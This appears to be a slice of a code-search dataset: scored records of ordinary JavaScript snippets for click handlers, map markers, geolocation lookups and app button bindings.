google.maps.event.addListener(map, 'click', function(event) {\n //Get the location that the user clicked.\n let clickedLocation = event.latLng;\n //If the marker hasn't been added.\n if(marker === false){\n //Create the marker.\n marker = new google.maps.Marker({\n position: clickedLocation,\n map: map,\n draggable: true //make it draggable\n });\n //Listen for drag events!\n google.maps.event.addListener(marker, 'dragend', function(event){\n markerLocation();\n });\n } else{\n //Marker has already been added, so just change its location.\n marker.setPosition(clickedLocation);\n }\n //Get the marker's location.\n markerLocation();\n });\n}", "title": "" }, { "docid": "feab5a6c0faab5293c3b04925b04ebdb", "score": "0.5696151", "text": "function registerListeners() {\n let $body = $('body');\n\n $body.on('click', 'button.nav', event => navigateTo(event.target.name));\n $body.on('click', 'button.back', event => back());\n}", "title": "" }, { "docid": "828cf443fa2bac047f187d731dd1b57e", "score": "0.5690991", "text": "function _onMarkerClicked() { // evt_owner\n var directions_link = $('a.get-directions');\n directions_link.unbind('click');\n directions_link.click(function(evt) {\n var latitude = parseFloat(evt.target.dataset.lat);\n var longitude = parseFloat(evt.target.dataset.lon);\n\n my_callbacks.onDirectionsRequested(latitude, longitude);\n });\n }", "title": "" }, { "docid": "5402f736af4ab9d0dbf7dfee6fa843ef", "score": "0.5683668", "text": "function build_page2(button) {\n navigator.geolocation.getCurrentPosition(function(position) {\n direction = set_direction(position);\n build_page2_1(direction, button);\n },handleError);\n}", "title": "" }, { "docid": "60e28458fefab26be29bbe41b42bba16", "score": "0.5675906", "text": "function initBtnPage(){\n document.getElementById('generate').addEventListener('click', getDestination);\n}", "title": "" }, { "docid": "d8c28c196f3f7b8940d637488cf1f39e", "score": "0.5670656", "text": "function getUserLocation(){\r\n mymap.on('locationfound', FindLocation);\r\n mymap.on('locationerror', ErrorofLocation);\r\n mymap.locate({setView: true, maxZoom: 16, watch: true});\r\n}", "title": "" }, { "docid": "199027898c3edc5a1a9ee72999833075", "score": "0.5643239", "text": "function register_event_handlers()\n {\n \n \n /* button #btnGPS */\n $(document).on(\"click\", \"#btnGPS\", function(evt)\n {\n \n setTimeout(function a(){ \n requestGroupPosition();\n setTimeout(a,10000);\n },10000);\n\n });\n \n /* button #btnIniciar */\n $(document).on(\"click\", \"#btnIniciar\", function(evt)\n {\n user = document.getElementById(\"txtUser\").value;\n watchTimer();\n });\n \n }", "title": "" }, { "docid": "9874a354207121964cd9903302cb8519", "score": "0.56266445", "text": "onAddVisitButtonPressed(event) {\n\t\tthis.showVisit();\n\t}", "title": "" }, { "docid": "665cdbefe6b0986838c7f7f0784dc9b6", "score": "0.5623429", "text": "function goToLocation() {\n createInfoWindows(this, largeInfowindow);\n map.setZoom(15);\n map.setCenter(this.getPosition());\n}", "title": "" }, { "docid": "462acaaff130063dfddf105db97e0841", "score": "0.5616737", "text": "function add_listeners(){\n jQuery(document).click(function(e){\n switch(e.target.id){\n case 'crowdlogger-logging-button':\n CROWDLOGGER.logging.toggle_logging();\n refresh_icon();\n break;\n\n case 'crowdlogger-registration-launch-button':\n CROWDLOGGER.study.launch_registration_dialog(); \n exit(); \n break;\n\n case 'crowdlogger-refer-a-friend-button':\n CROWDLOGGER.study.launch_refer_a_friend_dialog(); \n exit(); \n break;\n\n case 'crowdlogger-settings-button':\n CROWDLOGGER.gui.preferences.launch_preference_dialog(); \n exit(); \n break;\n\n case 'crowdlogger-show-status-page-button':\n CROWDLOGGER.gui.study.pages.launch_status_page(); \n exit(); \n break;\n\n case 'crowdlogger-clrm-library-button':\n CROWDLOGGER.clrm.launchCLRMLibraryPage(); \n exit(); \n break;\n\n case 'crowdlogger-help-button':\n CROWDLOGGER.gui.study.pages.launch_help_page(); \n exit(); \n break;\n\n case 'crowdlogger-welcome-wizard-button':\n CROWDLOGGER.version.util.launch_welcome_page(); \n exit(); \n break;\n }\n });\n}", "title": "" }, { "docid": "4a4d1642f33d2f1c78b1441352353616", "score": "0.5615442", "text": "function onActivateClick() {}", "title": "" }, { "docid": "0b2696a6efd303827e96bfd6e0e968a7", "score": "0.561399", "text": "function onMapPopupOpen(e) {\r\n mixpanel.track(\"Map Popup Open\");\r\n coordinates = e.popup._source._latlng;\r\n var id = e.popup._leaflet_id;\r\n btn1 = document.getElementById(\"btn1\");\r\n\r\n btn1.onclick = function(e){\r\n mixpanel.track(\"Btn1 (Show Orchard)\");\r\n showOrchardDisplayForm(id, displayOrchard);\r\n }\r\n }", "title": "" }, { "docid": "d2bcab90b0955e7d878fcf01b454e8d0", "score": "0.5606735", "text": "function clickStart() {\n /* getCurrentPosition() makes an asynchronous call, so it's necessary to chain\n program flow through the success callback from getCurrentPosition() rather\n than have additional steps in this function. */\n watchCurrentPosition();\n}", "title": "" }, { "docid": "2c401a77af7b89b6da45504bf7c13134", "score": "0.56028575", "text": "function bindDeviceEvents(){\n document.addEventListener(\"pause\", function(ev){\n broadcast.trig(deviceEvs.pause, ev);\n logger.log('on pause');\n }, false);\n document.addEventListener(\"resume\", function(ev){\n broadcast.trig(deviceEvs.resume, ev);\n logger.log('on resume');\n }, false);\n document.addEventListener(\"menubutton\", function(ev){\n broadcast.trig(deviceEvs.menubutton, ev);\n logger.log('on menubutton');\n }, false);\n // please, don't bind backbutton click. this is processed by router\n //document.addEventListener(\"backbutton\", function(ev){\n // broadcast.trig(deviceEvs.backbutton, ev);\n //}, false);\n document.addEventListener(\"searchbutton\", function(ev){\n broadcast.trig(deviceEvs.searchbutton, ev);\n logger.log('on searchbutton');\n }, false);\n }", "title": "" }, { "docid": "cefd9e2396e2e41d9d5fd3fc0d14f56b", "score": "0.56018335", "text": "function getLocation() {\n let btnDisapear = document.querySelector('.btnGeo')\n btnDisapear.remove()\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(showPosition)\n } else {\n console.log('Geolocation is not supported by this browser.')\n }\n}", "title": "" }, { "docid": "7cb5f9ac3e2386c224ed6f3e6da3b138", "score": "0.55952364", "text": "function GoButton() {\n CallDeviceRelatedFunctions(\"IsDeviceOnWifi\", IsDeviceOnWifiCallback);\n}", "title": "" }, { "docid": "7d96a811fc8e8b3166106d24049ba07b", "score": "0.5588095", "text": "setEventListeners() {\n this.getJokeFromClickOnCategoryLink();\n this.getJokeFromClickOnSurpriseButton();\n this.getJokeFromClickOnSearchButton();\n }", "title": "" }, { "docid": "3f1a3e7a1bce4395b6f2df449cf8ef70", "score": "0.5578915", "text": "function bouton(){\r\n if(button.addEventListener){\r\n lat = 0;\r\n lon = 0;\r\n ville = '';\r\n button.addEventListener(\"click\", function click (){ ville = prompt('Saisir votre ville: '); return météo(ville, lat, lon);});\r\n };\r\n}", "title": "" }, { "docid": "e1620234fc5cc49988df6035c4c8cfa4", "score": "0.5576202", "text": "function _setListeners() {\n this.addButton.on('click', function() {\n _createSatellite.call(this);\n }.bind(this));\n }", "title": "" }, { "docid": "94bd78d2e937e5d5ab15b3b01baf9a24", "score": "0.5547664", "text": "function addListener(list,group){\n list.forEach((btn)=>{\n document.querySelector(`#${btn.id.toLowerCase()}`).addEventListener(\"click\",function(){\n (group == \"btnHero\")?actionHero(this):actionDefault(this,group);\n loadPoints();\n });\n });\n }", "title": "" }, { "docid": "054b9f6863cf28aff6017861808312dd", "score": "0.5537705", "text": "function gorate(button)\n{\nlogger(button);\n\n\tswitch (button) {\n\t\n\tcase 1: //yes\n\tif( window.device) {\n\t\tswitch (device.platform) \n\t\t{\n\t\t\n\t\tcase \"Android\":\n\t\tlogger\t(\"go android\");\n\t\tshowUrl(\"market://details?id=bz.frankie.howmucheuro\");\n\t\tbreak;\n\t\n\t\tcase \"iPhone\":\n\t\tPhoneGap.exec('OpenURL.open', 'market://details?id=bz.frankie.howmucheuro');\n\t\tbreak;\n\t\n\t\tdefault:\n\t\tbreak;\n\t\t}\n\t}\n\twindow.Launchcounter == 6\n\tsaveState();\n\tbreak;\n\t\n\tcase 2: //later\n\twindow.Launchcounter == 0\n\tsaveState();\n\tbreak;\n\t\n\tcase 3: //no\n\twindow.Launchcounter == 6\n\tsaveState();\n\tbreak;\n\t\n\tdefault:\n\tbreak;\n\n\t}\n}", "title": "" }, { "docid": "7f7a1e32301f2110f77ff82cbf16408f", "score": "0.553633", "text": "function deviceReady() {\n //Get the location searh bar\n let locationSearch = document.getElementById(\"locationSearch\");\n //--- Functions to prevent the search box interupting the user ---\n document.getElementById(\"map\").addEventListener(\"click\", function () {\n locationSearch.blur();\n })\n document.getElementById(\"locationSearch\").addEventListener(\"keydown\", function (e) {\n if (e.keyCode == 13) {\n locationSearch.blur();\n }\n })\n\n // -- Set up the current location button --\n // On click move the map to the users location\n document.getElementById(\"currentLocation\").addEventListener(\"click\", function () {\n map.setCenter(new google.maps.LatLng(lat, lng));\n });\n\n //Set the colour of the status bar if on android to match app theme\n if (cordova.platformId == 'android') {\n StatusBar.backgroundColorByHexString(\"#00C4A7\");\n }\n\n //Request device location if the user moves\n navigator.geolocation.watchPosition(onLocationSuccess, onError);\n\n //Function to get all messages from database\n getAllMessages();\n}", "title": "" }, { "docid": "1579ad7f11e4fb6a45da4d7cdac41345", "score": "0.5526635", "text": "function tourButtonClick() {\n\tstartButtonClick();\n\tstartIntro();\n}", "title": "" }, { "docid": "ba26fc1e8b83163b306904173407e4f7", "score": "0.5524842", "text": "function initEvents() {\n remote.app.on('appPosition:init', remote.map.addCenter);\n remote.app.on('appPosition:init', remote.webapp.updateIframe);\n\n remote.controls.on('place:changed', remote.route.updateRoutePlaces);\n remote.controls.on('speed:changed', remote.route.updateSpeed);\n remote.controls.on('drive:reset', remote.route.resetDriving);\n remote.controls.on('drive:start', remote.route.startDriving);\n remote.controls.on('drive:stop', remote.route.stopDriving);\n remote.controls.on('control:changed', remote.webapp.updateNavigator);\n remote.controls.on('searchQuery:changed', remote.webapp.updateIframe);\n\n remote.route.on('map:center', remote.map.updateCenter);\n remote.route.on('update', remote.map.updateRoute);\n remote.route.on('marker:update', remote.map.updateCenter);\n remote.route.on('drive:started', remote.controls.onDriveStarted);\n remote.route.on('drive:stopped', remote.controls.onDriveStopped);\n\n remote.map.on('route:changed', remote.route.onRouteChange);\n remote.map.on('center:added', remote.webapp.updateNavigator);\n remote.map.on('center:updated', remote.webapp.updateNavigator);\n}", "title": "" }, { "docid": "61b6b947062e4b7feca4e376a8734d15", "score": "0.55167603", "text": "function onDisplayMoreLocationInfos () {\n window.location.href = GLOBAL_CONSTANTS.LOCATION_ENDPOINT + '/' + props.locationName.toLowerCase();\n }", "title": "" }, { "docid": "fa71849514fa471725cff750631dc04d", "score": "0.5516315", "text": "matchButton() {\n if (this.validateInputs()) {\n navigator.geolocation.getCurrentPosition(\n (position) => {\n this.sendEndpoint([position.coords.latitude, position.coords.longitude]);\n });\n this.props.navigator.push({\n title: 'Match Me!',\n leftButtonTitle: ' ',\n component: MatchLoading,\n });\n }\n }", "title": "" }, { "docid": "b425463e7234b00f63cafa80cd30d904", "score": "0.5515336", "text": "addListeners() {\n this.startGameButton.addEventListener(\"click\", this.startGameHandler);\n this.gameOptionsButton.addEventListener(\"click\", this.gameOptionsHandler);\n this.gameCreditsButton.addEventListener(\"click\", this.gameCreditsHandler);\n this.exitGameButton.addEventListener(\"click\", this.exitGameHandler);\n this.saveGameButton.addEventListener(\"click\", this.saveGameOptionsHandler);\n this.restartGameButton.addEventListener(\"click\", this.startGameHandler);\n }", "title": "" }, { "docid": "83ad55b4e2ff3dda0e2a8c0a1bf7e994", "score": "0.5514676", "text": "function locate() {\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(setMarker);\n resetDirections('start', 70);\n } else\n alert(\"Your browser does not support the Geolocation API\");\n}", "title": "" }, { "docid": "8c4934fa35280340a3ae86ecf1c92fa0", "score": "0.5514642", "text": "function handleLocationClick(self, loc_n) {\n\tclicks++;\n\tif (clicks === 1) {\n\t timer = setTimeout(function() {\n\t\tcurrent_location = self.innerHTML;\n\t\tviewer.scene.removeChild(goalMarker);\n\t\tgoalMarkerOnScreen = false;\n\t\tnavPub.publish(new ROSLIB.Message({\n\t\t command: \"switch-to-location\",\n\t\t param: loc_n\n\t\t}));\n\t\tclicks = 0;\n\t }, 500);\n\t} else {\n\t clearTimeout(timer); //prevent single-click action\n\t // Don't allow user to rename if location is not the one currently selected\n\t if (current_location !== self.innerHTML) {\n\t\treturn;\n\t }\n\t rename(self); //perform double-click action\n\t clicks = 0;\n\t}\n }", "title": "" }, { "docid": "4ea4a195106865bae3ce8bb30d64ed1d", "score": "0.5511341", "text": "function setEvents() {\n fogger.navigator.geolocation.watchPosition(\n updateLocation\n );\n google.maps.event.addDomListener(\n map,\n 'bounds_changed',\n reloadFog\n );\n google.maps.event.addDomListener(\n map,\n 'bounds_changed',\n updateFogAfterMove\n );\n }", "title": "" }, { "docid": "59e0ec9b3250c188415d2d8d7edc6702", "score": "0.55082166", "text": "function findOnMap(){\n alert(\"Click a location on the map\")\n map.on('click', function(e) {\n alert(\"Lat, Lon : \" + e.latlng.lat + \", \" + e.latlng.lng)\n lat=e.latlng.lat;\n lon=e.latlng.lng;\n $('#location').val(lat + \",\" + lon);\n map.off('click');\n });\n return;\n}", "title": "" }, { "docid": "f4310a570948144244785165d6d35d6f", "score": "0.5507185", "text": "function initLocation() {\n\tif (!('geolocation' in navigator)) {\n\t\tlocationBtn.style.display = none;\n\t}\n}", "title": "" }, { "docid": "e6b8e4e7a799596d7168d20d2dc9c242", "score": "0.55071205", "text": "function createButtons(lat,lng,title){\r\n const newButton = document.createElement(\"button\"); // adds a new button\r\n newButton.id = \"button\"+title; // gives the button a unique id\r\n newButton.innerHTML = title; // gives the button a title\r\n newButton.setAttribute(\"lat\",lat); // sets the latitude \r\n newButton.setAttribute(\"lng\",lng); // sets the longitude \r\n newButton.addEventListener('click', function(){\r\n map.flyTo([lat,lng], 7); //this is the flyTo from Leaflet\r\n })\r\n document.body.appendChild(newButton); //this adds the button to our page.\r\n}", "title": "" }, { "docid": "6ca5e24b6d5cdb92a68a392fd53cf3e5", "score": "0.5506183", "text": "function locationSelection(){\n \n}", "title": "" }, { "docid": "414fde0107c392bf0b88a5a4285d3caa", "score": "0.55009365", "text": "function initMap() {\n map = new google.maps.Map(document.getElementById(\"map\"), {\n center: { lat: presetLat, lng: presetLong },\n zoom: 6,\n });\n infoWindow = new google.maps.InfoWindow();\n const locationButton = document.createElement(\"button\");\n locationButton.textContent = \"Pan to Current Location\";\n locationButton.classList.add(\"custom-map-control-button\");\n map.controls[google.maps.ControlPosition.TOP_CENTER].push(locationButton);\n locationButton.addEventListener(\"click\", () => {\n\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(\n (position) => {\n const pos = {\n lat: position.coords.latitude,\n lng: position.coords.longitude,\n };\n infoWindow.setPosition(pos);\n infoWindow.setContent(\"Location found.\");\n infoWindow.open(map);\n map.setCenter(pos);\n },\n () => {\n handleLocationError(true, infoWindow, map.getCenter());\n }\n );\n } else {\n\n handleLocationError(false, infoWindow, map.getCenter());\n }\n\n //Grabs pet's latitude and longitude dynamically to mark on Google Maps.\n const petLocation = { lat: petLat, lng: petLong };\n\n const map = new google.maps.Map(document.getElementById(\"map\"), {\n zoom: 4,\n center: petLocation,\n });\n\n const marker = new google.maps.Marker({\n position: petLocation,\n map: map,\n });\n\n });\n }", "title": "" }, { "docid": "8182bcbac7272648a8200d4cf5b017b6", "score": "0.5498744", "text": "function init_geo() {\n // Close mainview when close button is pressed\n $('.closeviewbutton').click(function() {\n $(\".mainview\").hide('slow');\n });\n\n $('#get_location_button').click(function() {\n if (wpid) { // If we already have a wpid which is the ID returned by navigator.geolocation.watchPosition()\n navigator.geolocation.clearWatch(wpid);\n }\n message(\"Haetaan paikkaa\")\n get_pos();\n });\n\n $('#chat_button').click(function() {\n //alert('Handler for ChatButton.click() called.');\n $(\"#chatview\").show('slow');\n if (userlocation) {\n var data = {\n \"useragent\": navigator.userAgent,\n \"lat\": userlocation['lat'],\n \"lon\": userlocation['lon'],\n \"accuracy\": userlocation['accuracy'],\n \"operation\": \"messages_get\"\n }\n var jsoni = JSON.stringify(data);\n // var original_label = $(this).html();\n // $(this).html(\"Haetaan...\");\n $.ajax({\n type: 'GET',\n url: '/hsl/api/',\n dataType: 'json',\n data: data,\n success: function(responseJson) {\n // $(this).html(original_label);\n // $(this).html(\"Omat&nbsp;lahdot\");\n var m = responseJson['messages'];\n // alert(\"jee\")\n render_messages(m);\n },\n error: function(responseJson) {\n message(\"Invalid response from server!\");\n alert(\"Invalid response from server!\");\n }\n }); // ajax\n }\n });\n\n $('#map_button').click(function() {\n $(\"#mapview\").show('slow');\n // TODO: load map image now, not in get_pos()\n });\n\n\n\n $('#send_button').click(function() {\n $(\"#omatview\").show('slow');\n if (userlocation) {\n var data = {\n \"useragent\": navigator.userAgent,\n \"lat\": userlocation['lat'],\n \"lon\": userlocation['lon'],\n \"accuracy\": userlocation['accuracy'],\n \"operation\": \"stop_nearby_get\"\n }\n var jsoni = JSON.stringify(data);\n // var original_label = $(this).html();\n // $(this).html(\"Haetaan...\");\n $.ajax({\n type: 'GET',\n url: '/hsl/api/',\n dataType: 'json',\n data: data,\n success: function(responseJson) {\n // $(this).html(original_label);\n // $(this).html(\"Omat&nbsp;lahdot\");\n var s = responseJson['stops'];\n render_stoplist(s);\n },\n error: function(responseJson) {\n message(\"Invalid response from server!\");\n alert(\"Invalid response from server!\");\n }\n }); // ajax\n }\n }); // click\n\n\n $('#favourites_button').click(function() {\n $(\"#favouritesview\").show('slow');\n var s_div = $(\"#favouritescontent\");\n s_div.html('<h1>Suosikit</h1>');\n var fav = $.cookie('favourites');\n if (fav) {\n fav = fav.split(\",\");\n for (i in fav) {\n var stop = $(document.createElement(\"div\"))\n .attr({ title: 'Click me ', id: \"s\" + fav[i] })\n .addClass(\"favstopname\")\n .appendTo(s_div)\n .html(fav[i] + \"\\n\")\n .click(function() {\n var stopid = this.id.replace(/^\\D+/, '');\n alert(stopid);\n });\n }\n // alert(fav.unshift(stopid));\n } else {;}\n });\n\n\n}", "title": "" }, { "docid": "c757363a193bb6d1e1d4022ab0d5c4e4", "score": "0.5497085", "text": "function showmovebtn()\r\n{\r\n\t$('#moveit').removeClass('btn_top');\r\n\t$('#moveit').addClass('guide_btn_top');\r\n\t\r\n\t$('#moveit').click(function() {\r\n\t\t\t$('#moveit').removeClass('guide_btn_top');\r\n\t\t\t$('#moveit').addClass('btn_top');\t\r\n loadmaindiv(\"guide_map.html\");\r\n newbieinstruct2(msg2);\t\r\n }); \r\n\t\t\t// showcitybtn();\r\n\t}", "title": "" }, { "docid": "1cda049978da1bdcb610caea559911df", "score": "0.5491838", "text": "function searchForLocation() {\n var geocoder = new google.maps.Geocoder();\n //event listener on click\n document.getElementById('verifyLocation').addEventListener('click', function() {\n geocodeAddress(geocoder);\n });\n}", "title": "" }, { "docid": "2f88751b26aa4f85211baec0770aba75", "score": "0.54889065", "text": "function addButtons(optionList) {\n // Add button to pan to current location\n const locationButton = document.createElement(\"button\");\n // Insert the my_location google icon\n locationButton.innerHTML = '<i class=\"material-icons\">my_location</i>';\n locationButton.classList.add(\"custom-map-control-button\", \"custom-map-control-icon\");\n map.controls[google.maps.ControlPosition.RIGHT_BOTTOM].push(locationButton);\n locationButton.addEventListener('click', () => {centreMapOnUser();});\n\n // Add a login button to the map\n const mapLoginButton = document.createElement('button');\n mapLoginButton.classList.add(\"custom-map-control-button\");\n mapLoginButton.id = 'mapLoginButton';\n mapLoginButton.textContent = 'Login';\n map.controls[google.maps.ControlPosition.TOP_LEFT].push(mapLoginButton);\n // When pressing login button, hide button and unhide loginBox\n mapLoginButton.addEventListener('click', () => {\n userType = \"user\";\n document.getElementById('mapLoginButton').style.display = 'none';\n document.getElementById('loginBox').hidden = false;\n });\n\n // Add the filter buttons that go below the map\n optionList.forEach(function(entry) {\n let btn = document.createElement('button');\n btn.classList.add('filter-button','btn')\n btn.id = entry.title;\n btn.innerHTML = entry.title;\n btn.style.backgroundColor = entry.colour;\n document.getElementById('buttonsPanel').appendChild(btn);\n // When a button is clicked, the filter should either be added to the list or taken away from the list\n btn.addEventListener('click', (event) => {filterToggled(event)});\n });\n}", "title": "" }, { "docid": "d11dc88bf9fe870fd5b3e9d5f3964ede", "score": "0.5484289", "text": "onPressButton() {\n Alert.alert(\n 'Location',\n 'Cricket App requires you to set a home location.',\n [\n { text: 'Use Location Service', onPress: () => this.onUseLocationService() },\n { text: 'Manually Enter Location', onPress: () => this.onManuallyEnterLocation() },\n { text: 'Cancel', onPress: () => this.props.onCancelPressed() }\n ],\n { cancelable: false }\n );\n }", "title": "" }, { "docid": "958218c9855036ab8a18000c331a9ed9", "score": "0.54841", "text": "function handleLocation() {\n if (navigator.geolocation) {\n id_watch_position=navigator.geolocation.watchPosition(sucess_pos, error_pos_watch, options);\n }\n else {\n alert('Votre navigateur est imcompatible. Merci de changer de navigateur.')}\n}", "title": "" }, { "docid": "3f7aa9b69206ddf6aa4ddd0d2f5b0ff8", "score": "0.5483567", "text": "function listLocationOnPage() {\n //display current location\n getCurrentLocationAndWeatherInformation();\n}", "title": "" }, { "docid": "9030cee9f30ecafab8001189639ff1b6", "score": "0.5481082", "text": "_addCurrentLocationControl(){\n const { updateLocation }= this.props\n const userLocationControl=new mapboxgl.GeolocateControl({\n positionOptions: {\n enableHighAccuracy: true\n },\n showUserLocation:false,\n trackUserLocation: true\n })\n userLocationControl.on('geolocate',data=>{\n const { longitude, latitude}=data.coords\n updateLocation(data.coords)\n this._updateWeather(longitude,latitude)\n })\n this.map.addControl(userLocationControl)\n }", "title": "" }, { "docid": "a5efa18cc8d7db8011c8d1f2e1d676a0", "score": "0.5478481", "text": "function setLocation(event){\n location=event.target.value;\n }", "title": "" }, { "docid": "f8dbaec4ceeea70371f3d28624b88f86", "score": "0.54750776", "text": "function scheduleEventListerForRestaurantButtons(){\n // \n // $('.restaurant-button').click(showRestaurantInfo);\n $('.add-button').click(addRestaurant);\n\n}", "title": "" }, { "docid": "4bdb7d0e65bb058cf48fe0206c67652a", "score": "0.5470244", "text": "mapsClicked() {\n trackClicked(this.props.google_analytics, \"TouchKiosk:Header:Maps\")\n this.props.setModalVisibility(true)\n this.props.setModalRootComponent(<ConnectedMaps />)\n }", "title": "" }, { "docid": "c29b39091983093cb3ac4fce59a1c45a", "score": "0.5462167", "text": "function findBtns(){\n Array.from(savedBtn).forEach(function(index){\n index.addEventListener(\"click\",function(){\n console.log(this.innerHTML);\n searchCity=this.innerText;\n getLatLon(searchCity);\n });\n });\n}", "title": "" }, { "docid": "d05ba55d9523dca8026f9d2bbde0db02", "score": "0.5460638", "text": "onRoutePress(){\n navQuery = \"https://www.google.com/maps/dir/?api=1&origin=\" + this.state.sourceAddress + \"&destination=\" + this.state.destinationAddress;\n this.startNavigation(navQuery);\n }", "title": "" }, { "docid": "fe98af94c5e77e6379dc843cdd99507e", "score": "0.54594886", "text": "function whatToSearch(){\n $(`.js-form`).on('click','.js-search',function(){\n //will eventually ask to allow for location\n // make an if statement to set a global variable to winerie or taste room depending on which button was pressed.\n // $(`.js-where`).removeClass('hidden');\n $(`.js-where`).children('fieldset').remove();\n $(`.js-where`).append(`\n <fieldset>\n <legend><h2 class='search-title'>Where to Search</h2></legend>\n <input type='text' class='js-otherLocation' aria-label='Search Bar' placeholder=\"ex. Sonoma, CA\"/>\n <button type=\"submit\" class=\"js-search-button\" name=\"button\">SEARCH</button>\n </fieldset>`)\n //CURR LOCATION FEATURE $(`.js-here`).removeClass('hidden')\n\n })\n}", "title": "" }, { "docid": "1c0d601a317867eec7b1d858bdf8b3b7", "score": "0.54591095", "text": "updateInitialButtonURL(location) {\n let button = $('#jitsi_button');\n button.html('Add a ' + LOCATION_TEXT);\n\n button.parent().off('click');\n button.parent().on('click', e => {\n e.preventDefault();\n\n this.clickAddMeeting(false, location);\n });\n }", "title": "" }, { "docid": "d4f210c1cefbea62f2635e50979b03ae", "score": "0.54555434", "text": "function setEventListener() {\n\taddEventListener(\"message\", function(event) {\n\t\tif (event.origin + \"/\" == chrome.extension.getURL(\"\")) {\n\t\t\tvar eventToolName = event.data.name;\n\t\t\tconsole.log('event tool name is ' + eventToolName);\n\t\t\tif (event.data.data) {\n\t\t\t\tvar eventData = event.data.data;\n\t\t\t\tconsole.log(eventData);\n\t\t\t}\n\t\t\t//for close button\n\t\t\tif (eventToolName == \"close-button\") {\n\t\t\t\tcloseAll();\n\t\t\t}\n\t\t\t//scroll to top\n\t\t\tif (eventToolName == \"scroll-to-top\") {\n\t\t\t\t$(\"html, body\").animate({\n\t\t\t\t\tscrollTop: 0\n\t\t\t\t}, \"slow\");\n\t\t\t}\n\t\t\t//scroll to bottom\n\t\t\tif (eventToolName == \"scroll-to-bottom\") {\n\t\t\t\t$(\"html, body\").animate({\n\t\t\t\t\tscrollTop: $(document).height()\n\t\t\t\t}, \"slow\");\n\t\t\t}\n\t\t\t//to decrease size of frame\n\t\t\tif (eventToolName == \"resize-button\") {\n\t\t\t\tresizeFrame();\n\t\t\t}\n\t\t\t//to increase size of frame\n\t\t\tif (eventToolName == \"maximize-button\") {\n\t\t\t\tmaximizeFrame();\n\t\t\t}\n\t\t\t//for extracting Facebook IDs\n\t\t\tif (eventToolName == \"getIds\") {\n\t\t\t\tshow_frield_list_extraction();\n\t\t\t}\n\t\t\t//for restarting tool\n\t\t\tif(eventToolName==\"restartTool\"){\n\t\t\t\trestartTool(false);\n\t\t\t}\n\t\t}\n\t}, false);\n}", "title": "" }, { "docid": "14021c9ac27cab40a1a6cdd359f55978", "score": "0.5451277", "text": "function register_event_handlers()\n {\n \n \n /* button Acasa */\n \n \n /* button Acasa */\n \n \n /* button Acasa */\n \n \n /* button Acasa */\n \n \n /* button Acasa */\n \n \n /* button Orar */\n $(document).on(\"click\", \".uib_w_13\", function(evt)\n {\n /*global activate_page */\n activate_page(\"#Orar\"); \n return false;\n });\n \n /* button Acasa */\n $(document).on(\"click\", \".uib_w_11\", function(evt)\n {\n /*global activate_page */\n activate_page(\"#mainpage\"); \n return false;\n });\n \n /* button Button */\n $(document).on(\"click\", \".uib_w_9\", function(evt)\n {\n /* your code goes here */ \n return false;\n });\n \n /* button Button */\n $(document).on(\"click\", \".uib_w_9\", function(evt)\n {\n /*global activate_page */\n activate_page(\"#mainpage\"); \n return false;\n });\n \n /* button Catalog */\n $(document).on(\"click\", \".uib_w_7\", function(evt)\n {\n /*global activate_page */\n activate_page(\"#Catalog\"); \n return false;\n });\n \n /* button Button */\n $(document).on(\"click\", \".uib_w_15\", function(evt)\n {\n /*global activate_page */\n activate_page(\"#mainpage\"); \n return false;\n });\n \n /* button Despre Noi */\n $(document).on(\"click\", \".uib_w_12\", function(evt)\n {\n /*global activate_page */\n activate_page(\"#despre_noi\"); \n return false;\n });\n \n }", "title": "" }, { "docid": "f49d510caec500ab22b11245602c906f", "score": "0.5451159", "text": "function initMap() {\n console.log(\"Map script has been loaded\");\n map = new google.maps.Map(document.getElementById('map'), {\n center: {\n lat: 39.83, // this is like the center of the US or something\n lng: -98.58\n },\n zoom: 4\n });\n geocoder = new google.maps.Geocoder();\n dirService = new google.maps.DirectionsService();\n dirDisplay = new google.maps.DirectionsRenderer();\n dirDisplay.setMap(map);\n $(\"#locationButton\").click(getLocation);\n $(\"#routingButton\").click(getRoutes);\n}", "title": "" }, { "docid": "55a3a977e33159ba0f66fa974bdcd2f1", "score": "0.54510164", "text": "function setListener() {\r\n\t\r\n\tcurrentLocation = window.location.pathname;\r\n\tif(currentLocation === \"/admin/Contacts/Search\" || currentLocation === \"/admin/Contacts/View\" || currentLocation === \"/admin/Contacts/Edit\"){\r\n\t\r\n\t\t//Run viewUpdate first.\r\n\t\tviewUpdate();\r\n\r\n\t\t//Replaced \"contactViews\", \"editMode\" and \"newMode\" event listeners with mutationObserver\r\n\t\t//The \"Loading\" screen generally runs, but if you click \"edit\" or \"view\" from the search screen, I'm not sure if it always does.\r\n\t\t//Since the mutation observer wouldn't do any good, we run viewUpdate above.\r\n\t\t loadingScreenMutationObserver();\r\n\t}\r\n}", "title": "" }, { "docid": "04e66ce85c4f6884f41a5da84b24e64a", "score": "0.5446368", "text": "function init() {\n const $clickableElts = selectAll('[data-clickable=\"true\"]');\n\n if ($clickableElts.lenght === 0) return;\n\n each($clickableElts, ($elt) => {\n $elt.addEventListener('click',\n changeLocation.bind(null, $elt),\n 'true');\n });\n}", "title": "" }, { "docid": "a9f164a1a0b526ea635153cd178d061c", "score": "0.5443494", "text": "function setupMarkerListener() {\n var marker = null;\n\n google.maps.event.addListener(map, 'click', function(e) {\n if (marker == null) {\n marker = new google.maps.Marker({\n\t\tposition: e.latLng,\n\t\tmap: map,\n\t\ttitle: 'Request Location'\n });\n $(\"#create_task_button\").show(); \n }\n else {\n marker.setPosition(e.latLng);\n }\n $(\"#lat\").val(e.latLng.lat());\n $(\"#lng\").val(e.latLng.lng());\n });\n}", "title": "" }, { "docid": "994f61c09cadf6aee82c9a6ae3090aa0", "score": "0.54414237", "text": "function _addEventListeners() {\n dom.$button.on( 'click', _onButtonClick );\n dom.$window.on( 'hashchange', _onHashChange );\n }", "title": "" }, { "docid": "b5ab862fca8f31f64ef67cef19748c0f", "score": "0.54407483", "text": "function setupLocationClick () {\n // position the figcaption out of view\n var locationItems = $('.article-icon a');\n\n for (i=0; i<locationItems.length; i++) {\n $(locationItems[i]).click(function (item) {\n var chosen = $(item.currentTarget).find('img');\n var altText = $(chosen).attr('alt');\n $('#location-name').text(altText);\n \n // display the appropriate map section\n // hide the current map & show the selected map\n var hideThis = $('.current');\n var showThis = $('#details-' + altText.toLowerCase());\n hideThis.removeClass('current');\n showThis.addClass('current');\n\n $(hideThis).hide();\n $(showThis).show(); // update the map\n if (altText == \"Jupiter\") {\n // nothing here ... jupiter seems to always work; 